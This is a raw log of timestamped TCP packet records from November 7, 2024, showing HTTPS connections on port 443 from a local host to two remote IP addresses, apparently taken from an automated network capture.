Nov 7, 2024 23:48:18.057616949 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.746680975 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.747603893 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.747603893 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.747632027 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.747641087 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.748919964 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.749572992 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.749572992 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.749598980 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.749613047 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.758372068 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.759068966 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.759069920 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.759095907 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.759105921 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.781817913 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.782421112 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.782437086 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.783142090 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.783145905 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.795995951 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.796684980 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.796698093 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.796874046 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.796881914 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.874948978 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.875020981 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.875209093 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.875252008 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.875252008 CET	50028	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.875269890 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.875278950 CET	443	50028	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.877883911 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.877914906 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.878110886 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.878199100 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.878277063 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.878293037 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.878427029 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.878792048 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.878792048 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.878957033 CET	50027	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.878963947 CET	443	50027	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.880851984 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.880878925 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.883708954 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.883797884 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.883809090 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.889648914 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.889703989 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.889934063 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.889961958 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.889961958 CET	50029	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.889972925 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.889982939 CET	443	50029	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.892297029 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.892306089 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.892442942 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.892560005 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.892570019 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913052082 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913069010 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913140059 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.913152933 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913196087 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913230896 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.913292885 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.913292885 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.913305044 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.913331032 CET	50030	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.913336039 CET	443	50030	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.915498972 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.915512085 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.915817976 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.917840958 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.917850971 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.926469088 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.926496029 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.926548958 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.926565886 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.926599979 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.926826954 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.926836014 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.928052902 CET	50031	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.928057909 CET	443	50031	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.930597067 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.930613995 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:18.930732965 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.932154894 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:18.932162046 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.632997036 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.633513927 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.633542061 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.634027004 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.634032965 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.639753103 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.640144110 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.640158892 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.640572071 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.640577078 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.652884007 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.653244972 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.653251886 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.653255939 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.653536081 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.653549910 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.653969049 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.653974056 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.653994083 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.653997898 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.668118000 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.668420076 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.668445110 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.668780088 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.668786049 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784354925 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784370899 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784475088 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.784492016 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784537077 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.784792900 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784835100 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.784884930 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.785188913 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.785188913 CET	50035	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.785202980 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.785209894 CET	443	50035	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.788218021 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.788254023 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.788336039 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.788491011 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.788502932 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.800123930 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.800144911 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.800195932 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.800208092 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.800218105 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.800256968 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.801204920 CET	50036	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.801217079 CET	443	50036	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.803796053 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.803811073 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.803859949 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804085970 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804101944 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804120064 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804130077 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804171085 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804181099 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804450035 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804542065 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804543018 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804553032 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.804563999 CET	50033	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.804567099 CET	443	50033	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.807882071 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.807900906 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.808007002 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.808183908 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.808197021 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.882807016 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.882826090 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.882838964 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.882900000 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.882916927 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.882937908 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.882962942 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.910312891 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.910334110 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.910352945 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.910418987 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.910429001 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.910475969 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.911307096 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.911358118 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.911381960 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.911427021 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.911550045 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.911566019 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.911581993 CET	50032	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.911587000 CET	443	50032	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.914870024 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.914911985 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:19.914973974 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.915307045 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:19.915323019 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.000083923 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.000124931 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.000143051 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.000164986 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.000216007 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.000269890 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.000277042 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.000287056 CET	50034	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.000289917 CET	443	50034	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.002513885 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.002548933 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.002624989 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.002777100 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.002789021 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.534776926 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.535974979 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.535998106 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.536456108 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.536459923 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.548399925 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.548722029 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.548732042 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.549108982 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.549113035 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.554127932 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.554476023 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.554498911 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.554848909 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.554853916 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.660619020 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.660938978 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.660969973 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.661318064 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.661323071 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.665616989 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.665664911 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.665846109 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.665890932 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.665908098 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.665920019 CET	50037	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.665925026 CET	443	50037	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.668509007 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.668535948 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.668673038 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.668826103 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.668842077 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.677504063 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.677696943 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.677793026 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.677843094 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.677843094 CET	50039	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.677849054 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.677855015 CET	443	50039	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.679769039 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.679800034 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.679924011 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.680052996 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.680064917 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.689229965 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.689646959 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.689702034 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.689774990 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.689774990 CET	50038	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.689788103 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.689796925 CET	443	50038	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.692141056 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.692162991 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.692285061 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.692425966 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.692440033 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.762892008 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.763206959 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.763220072 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.763580084 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.763583899 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.791600943 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.791646957 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.791698933 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.791850090 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.791862011 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.791871071 CET	50040	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.791876078 CET	443	50040	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.793898106 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.793927908 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.794063091 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.794217110 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.794235945 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.894444942 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.894524097 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.894568920 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.894665956 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.894706011 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.894716978 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:20.894731998 CET	50041	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:20.894737005 CET	443	50041	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.398406029 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.398840904 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.398865938 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.399331093 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.399337053 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.407892942 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.408231974 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.408251047 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.408627033 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.408632040 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.476716042 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.477113008 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.477133989 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.477524042 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.477529049 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.528470993 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.528534889 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.528704882 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.528779030 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.528803110 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.528815031 CET	50042	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.528820992 CET	443	50042	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.534008980 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.536539078 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.536556005 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.537092924 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.537097931 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.537396908 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.537530899 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.538799047 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.539006948 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.539025068 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.539037943 CET	50043	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.539043903 CET	443	50043	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.616790056 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.617019892 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.617353916 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.617445946 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.617470980 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.617481947 CET	50044	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.617491007 CET	443	50044	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.666134119 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.666387081 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.666440964 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.666547060 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.666558981 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:21.666568995 CET	50045	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:48:21.666574001 CET	443	50045	13.107.246.45	192.168.2.5
Nov 7, 2024 23:48:24.997415066 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:24.997428894 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:24.997483015 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:24.997755051 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:24.997767925 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.658490896 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.659142017 CET	50047	443	192.168.2.5	35.190.80.1
Nov 7, 2024 23:48:25.659156084 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.660147905 CET	443	50047	35.190.80.1	192.168.2.5
Nov 7, 2024 23:48:25.660232067 CET	50047	443	192.168.2.5	35.190.80.1
